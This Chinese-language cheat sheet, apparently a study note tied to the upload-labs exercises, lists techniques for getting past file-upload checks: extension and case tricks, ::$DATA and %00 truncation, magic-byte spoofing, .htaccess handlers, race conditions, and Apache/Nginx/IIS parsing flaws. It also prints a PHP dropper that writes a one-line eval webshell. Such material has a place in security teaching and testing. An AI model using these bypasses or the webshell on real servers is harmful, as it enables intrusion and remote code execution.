总体情况
20190826174104.png
判断上传漏洞类型
20190826174133.png
上传绕过方法
前端 JS 校验
- 禁用 js
- 修改 js 代码中禁止上传的白名单或黑名单
- 抓包改包
服务端检查文件名后缀
- 黑名单:
- 上传服务器可解析的其它格式后缀,例如 php3,phtml,asa,cer 等
- 修改后缀为大写,或者大小写混合
- 后缀名后面加点或者空格
- 后缀名后面加
::$DATA
*.php. .
(点 + 空格 + 点)- 双写后缀名绕过:当服务器利用函数(如 str_ireplace 函数)将敏感的后缀名替换为空时,双写后缀名,如
.pphphp
即可绕过 - 上传. 7z 压缩包绕过:.7z 是一种压缩包文件的格式,我们上传 cmd.php.7z 文件,再访问该文件时能够正常访问到 php 页面,这属于 Apache 解析漏洞,Apache 解析文件 时,如果后缀名不认识,则会继续想前解析,会解析到 php, 这就是 Apache 的解析漏洞
- 上传图片🐎配合文件包含利用
.htaccess
文件:内容为SetHandler application/x-httpd-php
,上传的所有文件都会被当做 php 文件进行解析,前提是需要服务器相关配置开启
- 白名单:
- 上传图片🐎配合文件包含利用
- 0x00 截断:原理同 %00 截断,只不过是通过 POST 方式传递参数,需要通过 Burp 在十六进制形式中修改
- 利用 %00 截断 move_uploaded_file 函数,只解析 %00 前的字符,%00 后的字符不解析,通常运用在 GET 方式,因为 GET 方式传入能自动进行 URL 解码
服务端检查文件内容
- 修文件为图片头标识绕过
shellJPEG/JPG: FF D8
PNG: 89 50
GIF: 47 49
- 上传图片🐎配合文件包含
服务器端检查文件内容后重新渲染
参考:https://xz.aliyun.com/t/2657
POC 地址:POC
服务器端会将文件重命名或者重新移动
代码中先上传再进行验证,发现不合格的文件,客户端返回报错之后,再进行删除。很容易想到条件竞争的利用。
使用如下的 hack.php
PHP
<?php fputs(fopen("./shell.php", "w"), '<?php @eval($_POST["x"]) ?>'); ?>
上传 hack.php,发现不合格的文件就会被 unlink 函数删除掉,但在多线程并发的情况下:即多次上传 hack.php 的同时,多次访问 hack.php,就会出现 hack.php 成功访问执行的情况,即成功写入一句话木马。
上传后再通过 rename 函数重命名。我们可以观察这关的白名单中存在压缩包的后缀名
PHP
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
我们可以利用条件竞争,通过多线程发送上传后缀名为. php.7z 的文件的包,当服务器还未来得及将文件改名时访问上传的 webshell
逻辑漏洞绕过
参考 uploads-lab pass-20
中间件解析漏洞
1.Apache
- 遇到不认识的后缀名会向前解析
2.nginx
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME。当访问 www.xx.com/phpinfo.jpg/1.php这个URL时,
$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”,然后构造成 SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?
这就要说到fix_pathinfo这个选项了。如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPTFILENAME是phpinfo.jpg,而1.php是PATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了
**漏洞形式**:
php
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg %00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
3.IIS
IIS7.5 的漏洞与 nginx 的类似,都是由于 php 配置文件中,开启了 cgi.fix_pathinfo,而这并不是 nginx 或者 iis7.5 本身的漏洞。
使用 iis5.x-6.x 版本的服务器,大多为 windows server 2003,网站比较古老,开发语句一般为 asp;该解析漏洞也只能解析 asp 文件,而不能解析 aspx 文件。
目录解析 (6.0)
形式:www.xxx.com/xx.asp/xx.jpg 原理: 服务器默认会把. asp,.asp 目录下的文件都解析成 asp 文件。
形式:www.xxx.com/xx.asp;.jpg 原理:服务器默认不解析; 号后面的内容,因此 xx.asp;.jpg 便被解析成 asp 文件了。 解析文件类型
IIS6.0 默认的可执行文件除了 asp 还包含这三种 : asa, cer, cdx